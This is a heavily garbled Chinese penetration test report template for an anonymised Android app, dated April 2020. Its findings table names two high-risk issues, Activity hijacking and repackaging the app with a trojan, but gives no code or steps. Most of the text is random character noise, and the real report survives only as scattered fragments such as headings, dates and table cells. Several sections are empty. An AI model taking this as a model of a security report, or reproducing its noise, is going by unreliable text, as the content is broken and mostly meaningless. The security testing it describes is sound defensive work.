0 I. v* f; l' d2 b5 g* z' U8 R' x
4 Q* f u1 a, W( K0 K- f* j }
+ h- u, s% z- d5 Z1 [" t; n7 Q+ ?" o+ F! J# [( a& p) C4 r- V) z' ^! S2 S
/ [* }6 D" C( {" r, r
& E Z8 ?5 ~" D/ @
& W3 b6 S( ]! L
8 \6 t: w; D) h. G% F9 I9 T S8 p) b8 h . a: Q+ N8 j3 s. w8 g# K
6 G) L% o4 d. {# E6 u. _ " h4 O1 k% l% W
$ U" C. ^/ h3 \- M 文档编号: 2 N y" `$ H- S o" [* {
) A, }3 Z' z/ r" Z
8 j5 B/ i H' W z x4 ~
* N) Y1 X. L3 G3 {+ G- p6 [& G ^# {0 |+ N6 H& ~6 ]2 ]" j( P
/ J% G" D. @; m6 T
$ `, o4 {. [! |0 g$ X
7 w& t' e/ \, b4 x2 ^
( V3 U5 |; }6 v% K' J$ H5 \
; k. F$ E) C' _/ ~1 I
& T( D* a0 O. H e* Q+ v$ J& F; t* }3 V2 e1 `. a
4 |3 [9 }- o. _* F8 V/ _+ j9 O
) z- n$ K3 x! R- r2 x+ O0 E! p
; C3 [2 T4 V+ l0 Z3 c
$ z1 r4 Z+ Y. @ y/ h7 o& A# z
7 t4 b4 I6 y- N2 |* t/ J/ o4 k+ M: K
* p! _2 a' f9 [7 N% |
3 ?" ~# \' M a
3 v; e( L0 X8 `$ M% e
) K8 `8 x1 P* F1 ?& ~
3 z) q) I) J& U9 _8 e
1 l: A3 M I1 w# y' V4 V: l
' W Q6 ~# Y" W2 c c! u
9 r1 A8 n1 j4 k
8 A; o* T/ C) i3 T# R% f: k
1 M$ V2 y" }6 H$ F4 V- s: I " E; \, Y- R6 ?9 o7 i% S
. q1 K e4 W' @3 W3 X9 {3 A2 d
- d: i, {& f# C$ Z
6 ~. Q3 r5 _7 P: l6 A' E, Y2 N
/ D! [( X+ L9 P" U0 I* c% h- c/ J1 D3 H2 w6 `
2 o& E2 z$ a7 N" k) S
6 q+ l6 \5 f6 J: _; n 某某某APP渗透测试 ' ~/ X: {% M( w
0 V! T8 g( m, y; N6 S
2 c3 p( |) c- ~$ u
# f3 ?1 I: s+ v 5 W+ u: S# l4 q
2 U' ^& B1 e$ {* i + Q3 H# Q' \3 x0 H) X4 h- [( W
3 K4 k6 S; ~5 l7 N
5 D) x" {% Q9 ~, V9 Z& {& J0 I1 f3 Y# t4 |
; y3 h( J6 c; h, w7 q: G
) g+ E( k! p' n! c) }
/ _% Q9 F& Q/ m* }! l7 ~. g' S( ]/ d5 _1 q0 z
+ F3 W, x3 Z9 T; W
6 Q8 ~. W/ b7 U4 ]2 z
2 `9 K1 \# M4 q/ I4 o4 @
" J& g6 _! r" {! R3 ]
9 x# m7 Z& b- f: X1 A/ j1 z9 b E7 e/ _4 r3 K3 N
x9 Z! i6 k% [& [; [
0 L8 r/ N# l* _5 e# S
& `/ |1 b2 |( b+ C, X! j/ m+ D4 d A
' a0 ^; \: v |' U/ F# [* x p) C* n5 W, h) {( B2 ]
3 g" j3 Y f1 G: F
2 Q' E' \0 P- n9 [. ]& G2 N . ]) L/ I+ C4 @1 Z! }
) ^# N3 o6 v0 Y* q
技 术 报 告 ' p: v; U6 ?+ J6 m: [
" v- J/ X: P' Q- B1 B* {
% V4 M: n! {. ]5 N* N' A! g% a U; t1 g- C+ n9 T. s& F
( s" s2 j; h# H: C+ u
# x5 B/ \" }3 [1 Z5 ^1 N
N3 b+ x/ M+ y `
6 K; U, a/ p: G& g4 w8 V
; t+ F5 p. o. i3 w% f4 N# ]
8 j5 c/ D4 D4 H6 R4 x+ W; @* |
/ I' D2 C+ n+ D0 b8 S. b
! e. C* C, w! K& ?; h
" T& g1 ?/ ^; g) m0 K/ {: d! {( h7 `# b; ^( P) [! J+ d
' V7 o# e6 S1 j( ]# ]
! i$ O0 Z6 g4 f7 p5 B1 a 0 f! L B4 ^2 w( m* j: t O3 v
5 B B4 z5 N) \2 K7 U, ~, a
0 [& C1 E2 G3 G! K
+ t( D1 S0 X7 l: M4 S- C' [
' U9 _: q' k0 H% s! F
5 x0 N* X$ M/ z6 l
7 J. T; G! @8 D% N' i" d" p; [4 B9 x) _) Q8 s0 A o" J5 k% d
3 X+ l$ T* M8 C5 C! T8 w$ `& ?9 |+ Z% P+ b; D4 N- }5 z
) ~* {( ^* ?# y1 H
, u1 x2 Q5 [: Q [2 e
& c( D* a$ F A2 x9 Y" o0 ?/ w0 u/ Y8 ^: P+ U2 V: A/ Y
$ T E( U& o9 U& {/ g9 v9 b( b) @- r+ z
- _. k% X7 U _4 a3 F
+ |' _. N! ~& B) _ z+ B & Q! f/ O7 K3 k% o" O
h( {7 U9 R& k @9 ^! o
; D+ I8 g" J; i/ I" L
$ x! S$ x/ ]9 i: a
# C5 W G- [0 i' s9 h) A6 t! n& R+ {# V# c8 w# X& z
- a/ v) c; Z$ q* i
/ K' @! W( _& U 4 v9 `4 s% f& i- d4 V. C
/ H/ q+ K& X. e
4 H I B* |( @$ [, R. h
3 q! f7 \7 u; n2 S6 E* [; x& [ & h- J! X- l# l3 u( q& y. [' O2 ]
" A# e, F* ~2 }( x
9 v3 Q! p" |8 A+ s6 T5 H5 M5 P, Q% B$ G) m* X
( q2 h y* j% m: J2 Q$ _& S# { w3 r! H* S
* y2 u# P7 f& h, a" ]. _' O
; f X8 e. E& V1 G/ d
% t8 s( r' f; V- G+ i
8 W2 C+ G9 D* \8 B! Q/ l; k
; U. W) m8 d0 F( W/ P3 I7 s) ~
, C& r( ~/ H5 x5 H7 e
/ r4 }" b8 g% x9 |! H9 `
2 g6 l% M" r% M G' W e- z
( j' w2 A3 l) N8 X% b6 {) v- x4 v6 |1 J& R9 q
6 { ]' n* Y* m" r- [& O
T% a4 g5 Z' W% d6 l* E H
! d2 B0 V% f4 K3 ~( w% Z* ~
: p7 U, C2 B& [- K9 j $ Z, \* x, j" [' M
' I1 o( r k% {* m
( g3 `5 c! C* l
2 R8 a ?0 }' G4 U/ A, O) I! ^
/ {# A" d1 n/ B' M
7 O. Y& J3 O! s* y8 H
/ N' }) R D$ m5 q& q" i: ^5 i+ q) n. J! I: s, @
' q+ T* G; Z6 u8 L4 G: s
8 ^# M1 K4 C7 H$ p * u0 V" {: m5 e8 u2 n- b) T
! f7 E) H1 W5 ~$ O3 Q6 s/ v1 X* [
9 a! P- q" Q6 ?6 g; z3 ?
: Y# O* r1 a1 L/ ?+ N& q" a! D
/ A$ E2 G: k1 ?8 g" e6 t7 f4 m: Z% i* p
( u u5 R( r4 G9 B. M- w4 V& v ~2 {. R/ A
' @( t0 b# i" S8 w9 R: Z0 @( n3 v6 K* J( J1 V/ q5 p$ E
7 Y8 W: u+ C: j- h/ S) T2 k( l; K) _# C' [) J' a' @! K
5 c, }" i7 V5 ]7 m) \% n( H7 e
7 h& G4 }( P7 {* u+ K) a
$ `' T2 n0 V- z4 K
2 E- `% m0 f+ o: [/ H3 Z& k0 Y
9 b$ G8 G p! J& O1 J' a2 D. Y1 O$ q1 h7 N$ U a5 s' i4 _ C% R
; ]8 B | G' p5 G! p$ e' ?3 p+ S) r
. ?8 D. y, ~: L5 S( V
5 X" C( E# `1 t3 d% X9 H, U
8 C, L( s7 n d: S# U2 z( ]1 F' `
- l/ a2 n" B# i* `$ t' d; Y
2 z. X3 ^+ T. u! X# f% g3 ?$ F
/ G8 X( U- b! b7 J& Z/ E - U. U: t. X/ Y$ V% B
1 s& N9 J( u: b5 {- P% _
" n! B0 ~ }- ~; @7 R) a: f5 M1 E" g" W0 w6 C
' @5 r% v3 ~2 Q: u/ J+ c5 d
4 ?2 Z+ J- {8 N- ]
$ r# o2 }2 V5 F
- O: d( P [$ U, h9 F! e
5 ~3 c6 E% u; C
8 I9 ?7 f' m$ b; \' V0 y
" \4 I2 q5 L! e) }
2 z$ Y* x# y7 \8 i& P: L5 ?6 K7 N 二〇二〇年 9 h4 @; a1 F, e
, L: ?7 F. z* ]* p+ T; k7 q
: w* P' z: M8 e+ O. M/ U( g
3 r1 |/ u% J/ k9 A
1 z# X: o0 y) ]( t( w* i. T
- z: h( x- ^. D8 X/ }2 O b
/ P2 H. ]3 W3 ^* ?% J6 G
, j7 ?- Y/ ^! ~2 M# L1 w- p
6 D: y9 `1 R5 C) y8 {: S; j1 @' h0 M& l3 A/ k( a
9 P2 g! I# ~% j, b1 N" W4 G5 j
$ R1 ^0 l+ |# s# c+ i1 k
( D6 ^4 Z0 ]; K7 R( q! N% m
/ S7 N" p. j3 s0 x4 j l
8 p8 d* e+ P$ j8 X8 `7 n* h9 {( E' Y. Y
/ Z9 _' T9 ]9 x6 _
& [3 Z9 H+ A. b4 [2 x9 a: v9 {
+ o/ S6 {% M, c
1 l0 X: G. o: F3 c: i& \. H @! @$ @, |1 Q1 T4 k( \
7 T2 i0 ~# @9 y0 `. M% @- R3 p: F* W
目 录 " h1 Y6 ~9 w6 b
" L# ]8 h+ Q! V5 l: f* B [
. ?* ~* w2 w/ H4 z8 F3 d
6 Y8 E5 H/ H+ _+ e3 F6 ^3 a; N5 E# G ( ^/ y$ \7 m) |1 f3 S
9 ~" W# r# O8 I6 [6 e" C
( {/ b9 K0 @9 R7 C: c
* ^: G* C/ w8 ~$ r% T1 M4 P& i: k - R4 [3 w2 d6 \& g
$ { I+ R {4 j$ L# d$ r% D
- h! f9 z' i w, |: r
6 e6 x: P p& f6 p6 ]" m) o& ~% c
5 K1 N$ |' M2 V/ s$ U, O, @
4 b$ N' d, V/ V+ R" U+ q/ J 1 概述... 3 1 ~6 C1 N+ T* C _ E
7 e7 Y( u% U8 q! W0 g1 Q+ A, k1 l
; I! [" F" q6 d: K* O
$ G5 t' x% d, C5 C2 v 2 q- _$ B h9 k; Z8 V
; w( N X2 w% X5 d
1.2测试时间... 3 1 S6 a* p; j0 r+ S
3 z6 w6 {: ]( T; U. q
; X) M: M8 x+ ?
n; _% O [" @; s
. x7 m& v; K7 L
( |4 N g0 `, j5 d$ y 1.3测试对象... 3
) }/ d' O! g. K* ?# [, @- i. Y9 ]! ~# U4 E- r7 g3 x
1 M( q$ y: b: v* g& z/ z
( M$ X3 l0 v5 k( d8 }% q! ^0 c
+ d+ K/ K( |# {$ c% }( X: A" \ N% J- h. p
1.4测试结果... 3 # q8 a$ A# r) }6 Q6 \6 J# o1 Q
# d0 s+ q4 b* A; X
+ N( U7 A6 n- ^8 V* ^
( C8 f" |- V. S+ ^( h- G
4 i7 g5 I' u1 k/ x2 R! b3 d& d h6 c! ^% G' j5 i' i; q5 D9 Z. S3 J
2 检测结果... 4 ) a$ T! F$ y; d6 d
$ v8 p; v z/ N
" P7 s; b" a7 P' s" O* J$ M" ^$ N2 d" f1 r- S1 h
3 g/ Z# b( Q/ P& `6 y# K4 U
2 l" ~$ f$ @7 n. d0 w, r 2.1 某某某... 4 ) P2 N& K! {; f+ Y
% A3 F- ^ F: S1 G0 S8 n# U# ?
5 {5 N! w- x; d5 R& g
0 [" A, a5 ^( X \ / h5 T+ `7 }* r* k) ?1 Q3 S2 W+ S
3 E# w0 p/ t1 O& Q: s! c3 Y 2.1.1检测目标... 4
% i) l) M! o2 Q: k3 @! Y9 W3 A) `* h5 S' G' E
+ L2 Q9 Z |* R7 F8 _
4 m$ r- R3 y3 \6 H, g
% j9 k8 {: G7 b) T: x3 P
5 i6 R+ F4 [8 s" V# M2 f+ A 2.1.2检测结果... 4
) H f& b% C% K5 E7 m9 E6 c/ m0 z0 _- r ?
. e5 n, ?$ f* M0 w" j! A; ], F M$ N: e. L/ K: m
; N6 K4 _7 S2 J/ ?1 R$ v+ g
, ^+ S% O0 K( G! P/ J | 2.1.2.1. 4
0 k. U* [ E m+ ]
$ y3 v* q5 }0 r% i5 J/ @
5 a' N1 V/ @* ~* }( ^- u. f1 ^
/ M9 l V6 M) S9 T, g f$ B
/ `* ?: q4 Z" Z/ Y7 a1 _1 J( x1 T; y& H, D5 ^
2.1.2.2. 6 $ j7 Q i) A9 P: j6 O
% g6 b2 E( _% ]7 [
+ c$ {( S9 W- Y1 t0 k1 B2 S& N- C/ s4 [; e; j9 `; ^# W6 Y
8 X6 B" n4 j* J" t
- \" [1 C1 x' R- S2 B, i$ S . e) U& G- ^( P! A
9 ~! t+ [7 g2 q# E3 P% r
! n4 S9 a. t$ I Y( d0 T
! _/ L" m! j7 [" ^# \) L& ^9 w; L* U7 e) j' F3 n* Z
& W/ y* z# m% o) J ! \, d" t- }3 l5 [: d- Q6 B+ X
7 J' v8 X7 ~0 H5 `
1 }. w- q5 r7 e+ Z
1 p# w5 w. k6 Y; t5 n6 @! `, ^
# Z0 r% m0 i! @* g2 U
5 ~- O n& ]" c2 i
" r% o0 [ r' t4 v+ t
" H, D: p, S1 j8 Z, U9 s; L1 { 1 概述 ! v# l+ Y+ | W7 y
# Y( w2 P1 F9 s9 g
; E8 x7 j# e2 Y9 c7 o2 F
5 d t3 J, B& z5 x) B 9 A0 g3 i# Z* o
^- o, U. Q' W1 r1 f4 P" A
1.2测试时间 . ^6 m. f+ I# I
1 o- {, ~9 k4 e4 d7 J
6 c7 L, V. T( x4 m9 u9 Q- ^
, N) n0 V7 a: v; l
; z$ V9 b4 W5 F8 B
5 Y5 [. N* L! q) D 1 f7 n% D( U0 i1 u$ ]: ]! ?
& u. P2 n6 Q, V5 n$ W
! G+ }4 a( n1 ]1 h: d C7 h8 D
5 l$ O6 F1 B( \6 I) P5 a
8 a- J+ A# I7 d
0 a! C; B& `7 |4 ]
/ L: r7 \4 y7 w% i* }& {; a( g: s6 m5 w! y
渗透测试时间
. _ Z$ @ j) D3 Q5 ~, z
0 U- |4 M* ?! L
P; X' r. e( U$ p" M7 q! K$ x
- A1 _1 X+ n+ y- b5 K |
# }$ q0 O- D, ~, P, b2 [/ e4 y- Q8 Y2 [; t2 I6 Z
0 u. @" ]( v8 i+ _' ~ q7 I
4 Q- @! \1 e2 y- F& D; h: E , _8 ?" j* H# b. f1 M. ~" \" c
2 Z0 U. A; A" @1 F
& t5 E, R2 E @, x! y' y8 V' Q; i9 P; i
% c( ]% l. o$ N6 g1 J( n: |2 _; a
9 q. N( J2 l5 s3 h/ }. q 起始时间 0 _- |9 X: t: G9 u9 M/ X
. a: N$ l/ C' d
( X6 F+ A- v0 ^/ A" o
! B( _% X, ~: p1 ?$ ^( \: m" [ |
9 A- o }5 h+ r+ \+ N+ X, Z9 `! s; ^. d5 c' l
5 X, ]. n: q1 G9 x/ H0 h, D
4 o" n: N& r, g& }6 V# X
; I; `9 b: N! F" {5 y- e# O
$ S! ]5 s5 z. U' ^ 2020年4月6日 3 g1 n; m; q3 o2 U# ~9 N
O" ~) g4 P, J) F% H' J
]; p+ a, W2 G& o! K0 y9 v3 G
# j; \- z, h! ^+ Y | 3 e& x% {0 @! c6 F! e7 @2 j& m
0 w! k& u7 |- ?; A8 a, b
; c1 V/ ^0 g: V$ c
/ \$ s% E1 N: k0 `7 S D% ]4 `( l# M, o7 F2 I
. N6 |+ _& R! P% I. M
# v t7 w+ Q9 J9 j! R1 P" d+ g
0 |4 q: u, V- P) {* E
2 e7 L) H+ X6 x4 U2 g7 G& o" n+ M% e7 I- G# h
结束时间 ' O9 h3 D* s$ J h$ o) w
# |" f) h! Q- b' ^! Q) s% o
! d$ x8 r) g9 ^2 _7 g3 G0 j: N! ~5 T# f6 R* M) }+ X# l2 c
|
. k8 g1 m6 ?5 \: d
& G7 ~% y# M. e, S* s; N 1 P" a, a/ |9 f2 l& X7 Z
9 Y" P: ^6 q7 ~. i # p5 i5 I @1 f# x/ v/ f
% H8 p* _* X& G 2020年4月9日
( w8 k9 C( U6 v& a. c' G3 R8 t, I7 Y6 p; C% @, s! v9 J6 B8 d4 w9 h6 z
+ {1 ]1 M, T/ P$ A% \5 J
* F- W' c' E/ O% w% A9 D: s |
, `5 A, ?, [) T- S8 O
/ W7 F0 `' g) X% }$ E
0 J! U% R' h+ e! p: ^0 P6 D, U# l; `
/ h0 d4 p7 @ i) x- y0 x( t
8 ]. A7 h9 b+ z! a; q! C
% p# K7 L, |* x- D; m9 {8 j5 @1 m
3 V* O$ U: M) p, C! P$ K7 i& C9 z9 a2 Q" K4 t
7 \1 m6 `- }7 O" X. Y% _" l7 k0 W! u4 m* u: D% ~
1.3测试对象 ' D- L$ q9 B' F% f
* Z( M' E: E1 H& K+ ]
3 M) S( L9 F; P5 E: |
8 u; i6 ?7 C& t/ I$ P
! ?" Y0 E+ G. {6 { [: Q. [# u
# A( G- l+ m; T, h. |- y 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
* Y" y4 m, j5 w- n$ B3 n5 \" n; b& u( q# v/ Z; e9 W8 z$ z6 @
* M2 m& O# @- t7 o4 {3 {7 W
2 j8 D7 o+ M$ {) z" a3 _
- \( ~, {7 a9 f
5 {- C: b% q- x" |0 W9 V 表1-1 检测对象 ; ?4 C" a/ ]4 X8 _
. r& \1 C3 P% R6 X f' A8 [
. T' k3 C+ j: Y, k) q1 T- v- n6 K9 Q1 W* F$ c3 Y( U
6 Q u5 H3 c' Y
2 y |" u4 ?7 i) n
5 w, n" q1 Z4 c5 G9 H- ]0 [' k
( P* v4 Z1 P9 L" T. I8 T' b
" z8 ?4 V- ^5 C4 H
c( }' T$ j4 Z( ?5 f
6 D8 d4 M/ v( q) I0 q
: H/ ~; m% B1 S; R* @# e" i/ ` , s2 f- E" i7 `& q( a7 s( X
* E- U$ _5 u2 o 序号
9 U; ?3 O- ^) v% l! \. J4 b( [
' h t) m% S- o6 \' V5 o l4 R; A H. G9 }
: s7 D; v. O& f: f
|
# G# q9 q4 j: A
3 t- K: K3 b0 @9 E- W! J 5 t5 ~. I( M: H! [6 ~9 K0 Z' e. y% ]' ^
m% r( {/ \' h! L/ B
" r0 S h( _8 U5 Y* F
2 t' |) h2 c) {' B 测试对象 1 ]9 T* a9 `3 A8 [( q( H% S4 d
! ?5 w; k& L) a, M# [1 j' t0 }
* N3 D" T. ^2 T; m7 m% z$ g* z" V. \0 _$ h
|
d7 S0 a! d& R x" k& r8 R5 a1 ~8 z4 ]
; K: b! Q) b, u9 _ k1 ^
, D4 c* r! `+ G: `/ r& d) }8 {& @2 p: R- T ?; K/ f
; r& [9 y3 _0 q/ @6 h
0 j5 v# C5 |: f 测试地址 6 f$ o9 H1 U4 W m. Q4 U, W# s
/ U9 G$ X3 n* p. o5 Y/ l7 }1 i
! S8 @+ c) g$ X2 J7 ]
; `. B/ E% |$ v6 a1 P |
$ v6 ]" G5 E4 } U/ u" v, q9 }+ W- ~
6 d) I. P* u6 S * [, b! ^0 k5 E
* V4 M2 ]2 P5 G8 {, `# v
; W' P' G1 V9 k" J' b- k
. N& T: @, L0 O0 @4 e+ N$ \3 D) F
安全漏洞 / C }: e* d) [
+ l, ~1 V) A& F4 D! j! q
) h! S2 ^+ ~5 H6 c+ ]% {3 }/ a z' s) Q+ D7 j! ] k- s
| 2 E6 P2 {" K. D' F; Q5 ]( _
/ \# `- \* U5 j7 s( C
( [ { |( x8 v% @; g8 l2 M7 A3 b% i* G" a: X& p. ~+ x* x* u
/ A6 \! h0 F8 \( I& P
3 d" g; |+ V" s- g; u9 L 2 v! i2 D6 J+ c0 C/ A5 w: V
5 D: r2 Z) I, k% S# U
* j1 I: t% h& i/ W5 @3 e& D0 L( i1 P; @9 B0 A% M
1
9 c4 B0 I( T! S2 y6 q) ?- v% W: R6 ]; D
; u, K" T, j b. e/ S' v
7 N( [+ ^* q1 E" j- ]4 D |9 s
|
: ~, n/ M2 V, q5 w$ X v1 c: |2 I; D# a" x2 m6 y# R. P& \
2 Z7 {* n9 {* m4 o
" B# L' I1 v8 o6 o: A
& F- a! ~ U# X" n; ?
7 r5 |$ k5 R) c# J* z1 X 某某某安卓APP 9 B7 o8 }. [6 k7 v
. d+ @7 d1 g0 r4 |& a- a# `2 r ) f$ O7 N! x3 v9 w! V. c
9 E1 k3 G' `5 a0 H& u | 3 g6 P9 E+ B$ V: S* \0 y
. W# @0 W- \! U" G4 K2 C
4 L0 A: j7 }/ t. ]% e- Z! z3 R B- S3 v1 ^1 q
- L$ ]$ z% z) K1 K, L( _1 Z; r; `: c6 R$ a% y
9 g4 E, R" a5 O2 b! x5 c4 t2 m2 i2 h. @% u' {5 P+ Y
3 o" y- S' t2 y; |, j
2 {' w+ i) D" K) E/ m# q6 [0 l( _2 i. q | & I' j) f A1 {1 X; E
: R; G0 U) p- p' S( Z
8 |' g' Y# R4 k& t% `. R' s z: w5 }! d2 p
9 |! A3 F- M( h/ E+ F0 B' {2 o1 w
: r# w+ w/ @8 v 2
7 A2 I* x! Z' S( [$ s6 H1 o( T
5 }' R7 i: H0 k2 w/ A # y5 `8 [' e. U3 H
3 G' ^( l+ j5 {4 u5 R
| 4 B" A+ i% L1 @) y& k" h* c
1 y$ j$ T( e k9 X/ p+ P0 D
% Q \* D( Q/ y% e1 F7 L4 W9 |9 R1 A9 u
+ j- ~% ?2 ^% }6 m( b/ S q9 i+ ~1 F) z4 s' J
2 j) `8 R/ Y& x D2 V. E
3 {. l! {$ V8 f: ]
0 n+ h$ v0 Q/ s' X3 {6 X5 K! V, s5 @; m# I
1.4测试结果
5 o: W# H8 q, E0 g& b$ |" F9 M4 c/ Z2 i/ L8 R1 f) u7 F
" f& J5 s/ s+ H( T5 i
6 d9 U* S% |1 a$ J8 W9 i , W( m8 ]5 _7 P! m# K. S6 R1 T
! \1 I4 `5 `5 E- w" ^$ o- ?; J
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
V6 s/ ~0 }0 [5 t y) I& G' S' s7 h F
2 h7 b# I- g" p5 t5 R/ v/ x+ K& ^( V, O& }- A; F( ]9 e4 n
, Z- J: M5 R- L% q% @) \* \
; |8 m9 M% Q- @* N# s1 R, s2 t, m
' i5 \- J8 _3 N2 c0 j/ @; e" x* G. u% ~& V+ Y: ^, D
' K- Z$ i( X4 H6 M, Z( D
) k6 r5 y* f5 {) @; T5 L + }; ~0 q# J0 K# c+ [; U
" ?1 O8 X& [; d, N8 c6 n& O
4 x2 u( E X) a+ {( t* d' t8 H8 N ~, ^8 U( E( ?# P6 t' l
; g$ V: T, n d2 }# L
+ [: l; E3 l: s& N4 P+ G
% p% ^+ K, H! W; A% k/ l" J6 ^0 H) A7 O) G& G l/ ~3 h! R
" `4 g) s" M; M3 a# b1 [; O- _, ?
4 r3 P4 Y% N+ L# F- \' }0 K
& d. v7 O# b' Y7 w 序号
1 E/ Q' D6 W" \0 p
; ]* o" T% {9 A! M0 w
9 _( Z0 ^9 \, B0 S' K% {. O9 ^8 d E7 v# J c6 J: g
|
/ q& Q7 R$ u* o E$ K
" ] |# [5 w4 p6 ?8 A5 m0 N . B$ x0 [( L5 `+ k- [! g2 D
& Q. R% g+ a+ Y
; S8 ?( H+ K7 w3 ^
0 A3 K: p) e* V" }" F: Z6 g
系统名称
* J: r% E: c. y# I
$ a/ G7 t9 b1 [( | * w9 h% V" y* Y% q2 G7 a) i6 e
+ o: t6 B1 D# e" W1 U7 N n) V- A
| , W3 `" r* r) }7 s6 F
2 a. Y" n$ r4 j" C
( Z1 f* b) Z6 s1 M6 d+ _! A7 `; i/ ?. b; U U( Y( v
0 O6 s9 n8 m8 o4 v4 \! z4 B
# B8 `" q3 X+ C% U+ l! S( v
漏洞名称 : x* E2 L: u* Z& t6 n' N9 Y: U# N; {
# e1 F& {8 I9 F
( u& Q" i: X, t
9 x% }6 M, b5 g" P/ F+ f0 w |
# u$ \. u! l' |" S5 N) r0 ^; F1 ?
' m7 N- G) Q' x: U( j " I3 [9 a/ s- ? W3 s/ j& n
4 R. s* m) m( R) Z
% M+ F4 @* T4 ^, s0 u0 }/ z1 K9 i9 f/ S/ P5 t6 t9 L8 \
漏洞危害
; X, D% I4 }& @4 ~9 G7 T2 S% j2 ]
% ?2 ^" O8 \6 s. A
3 g' G* b* G; q d. k. T2 N' I6 |4 j; D+ X
|
, C$ e! L4 Y5 _% y. O1 ~
! M- Y. q& E- P
" ~7 v3 p: q# N' F
0 c: Q; {! p6 V8 x+ `7 ^' y
; `# _+ C/ d1 U: @
; u: K4 S) T' x( k 修复结果
~, e* K% t) b% Z4 d5 F4 W$ b
% m+ r9 B/ |# E5 b( R , Y) B& h- ?- s: y3 B3 X4 b$ R
5 o1 c/ ]3 c7 r1 p2 b( \
| ( o8 E5 Y/ t: b0 E6 Z9 p6 k& a
& O- w3 s# B9 I8 @& r
/ |2 I6 Q% T, [! i+ b, L
4 E9 c! _6 E1 ~& m% M/ B, v$ l
" |! \9 U* ^" b5 Z7 E+ S- p0 w
- h8 Q/ q4 b+ B. z1 v
6 }8 x7 A: X* b6 }4 y
8 X) [7 d. K* E" M
( E1 n+ f# r1 ~- B
- v0 G7 h# C/ L( O, |) s# n 1 3 a& R4 |0 R: ~
& ?) B: r1 ~7 u. X9 {
$ N$ b h& V" v, L! G- K, n6 U. C# ~6 C" P
|
2 n. J. l0 M8 m6 L1 x9 q. @6 P
) [' A! L. g' m& W4 @4 _) l R
7 m: l+ e4 M6 W3 P5 O9 H, z; d5 f, U
0 ]4 S8 g" a3 S# l8 f1 J1 P
0 n8 h) e+ b2 |
4 M6 x" T+ X$ e& a7 u J 某某某某某某APP
. ^% y4 C) `+ I/ n+ m7 e! G- _7 I, L* }; v# m! k
$ G: V9 H9 x+ y& c
, ~% }" a6 v1 J" Y9 S | : T' _) a( f1 l( }8 e* ?
( j, m8 K: m/ H5 m4 I
: Q! h' W" D D1 a" D$ e
Y6 C' [ a) J% N' j4 s- D5 Q
8 p$ K7 ^6 D7 g; E2 D1 [7 ?
$ K3 S/ ^" G0 B+ d L- l Activity 劫持
* v! s+ N2 z# q: A) G$ m2 `' x# _% b, {# v: @9 S
: s) Q3 t) E4 J6 a
W ]2 ^" v! B/ Y: m
8 J) r- ?/ [/ D) J5 k! e) }: j
4 K" Z/ b. x! l7 T
|8 u+ ]6 y+ Q A; y9 Q% G" t/ W
) G5 K% u u7 s 4 N+ h. [9 Q; O4 ^
* q$ ?" T0 `0 U |
# T' Y3 T9 G6 T3 S) r, c4 Z) V/ s" T _: ^- o4 x% M
1 [9 N M. {* ?) f: u1 E
$ L' a r+ I7 I/ t
9 a% I% a! u6 y- w3 S
+ w3 U. S M0 b 高
, D% J* M" F0 R/ s+ M9 |+ g1 C$ S8 u" S7 z
! d9 S6 d/ D! M2 G; R# P: I1 j/ V' f+ L1 r6 o( K
|
' U" R5 L0 M S- D2 K' g. V5 h
' x- C+ y% P O, J 9 ?0 N8 e, d% E; g: i& B! x3 y t
+ A T' @, D7 Y) j/ I4 L
6 P* x* ^. K l- E0 q; @7 \; m1 D
* O! }0 E$ [- ?8 j. r
' w( n1 E0 V% j& L6 Y$ t
1 q: |* A6 q6 C9 k! e+ y
0 H$ G# A- V1 Z& t* ^
7 I9 I2 o/ g3 O' u | 7 h! @: d' Z/ m
z; h' Q- I5 K8 g( P8 X
; G" A0 a" L0 l( U X" Y/ U
- e$ z9 D+ R1 t/ p% ]! X4 i F3 U0 Z- y, \2 B- x4 t1 h
8 _+ o9 L+ U" Y7 E
/ |$ @1 @9 k! _+ a0 h z8 y
" X3 C3 U, j7 v# k7 P% p
; t1 e c. I" u1 M
% m9 b! S4 Z' y" R 2 0 [' A1 i2 p' G7 k
2 X- v b) i1 R; X/ n 1 @6 ~/ M, n" o6 ~' |
5 H8 B) u/ E! }1 r3 q |
, Y4 P0 B8 I9 O S5 X6 e% U, l
0 v5 F; C- G( w s2 [$ k % Z" y* j r/ X% @' F9 s
* Z! }4 T0 w8 m. \% t1 B, C4 ^. { 6 ]( o" R! F2 ? Q0 t+ p
, I$ Z' w; G5 s; J
某某某某某某APP }5 S: N+ Z9 q% T9 B. E3 L2 {: ^
6 N& b; `5 s0 s* C t- _/ e5 [
1 S& f+ ?" F, f; e& ^ K+ ]. m- t" b; M6 J! d @
| / D: C6 N, T9 F8 K! O
/ M7 `5 b X% r: J. Q
$ a/ b4 |" X! J5 B* H# c8 e
/ t* I2 L+ v, C/ [- L
; P$ J. _: Z) `7 ^0 L d* l
8 V0 n H. k* J4 Z h8 Z/ g, i
反编译二次打包捆绑木马、篡改APP代码
& Q. F# z: Y% D2 x, k
( k9 e3 Y8 @& R8 Z: ^6 S7 L
; X/ l) B8 t" v( @! L! W* q
5 U# ]9 J6 ?& { |
8 L* t& B" B+ H' F
; g3 L! Y1 {: s
" N* @' u5 q0 r3 y! S+ P* ^
1 I+ {+ A2 z5 ]9 y5 K& r- J $ e, N& V0 B, J4 o3 Q- \/ h5 ?
& R9 ?9 V4 z* ]" D5 p( i0 h& i 高
' @ i) B* X, Z9 w. ~ i
* D' \: [4 t& q# d ?) B7 V" r6 P
. f2 Q0 K- `3 G3 \1 R/ L
+ k8 v0 O" c0 g5 x! G | 1 g6 [) y O- N' P7 N. v
" Z! _! r+ y- q, w
9 |1 e8 Z3 V$ K& C/ o/ \" n o- F4 g; L% V3 {7 R: k7 f
2 i8 l& g9 v+ ~: [% J. y% P- Y, ^
2 m, n/ y! _. m9 r$ H
2 d4 `! {2 l! g! W7 X8 s" m" `
: q$ `& p: j3 o, p6 [
1 ^9 D& r& |$ q' v, o, i8 K' _( ^2 C
3 T/ P9 ~+ m* [4 H# n5 \ |
& ]$ i7 h- h! {8 u9 x3 P6 r, Y2 D B9 W2 m( ~
' T, q. F# l1 e+ C: `: J5 z y! r; {; Q
# q( M8 l# D2 q4 h) O& z, j4 g5 J! j2 }
) ?% @! Z/ v3 E0 S( K5 I- ~: s1 k. b" I) ? S0 h$ M0 K# d
1 p% t8 }9 Z0 Q* T2 z: L0 q: `$ o/ D
5 X% e; P3 k6 ~' @
* i+ V% |& ^, d0 ?( N* N
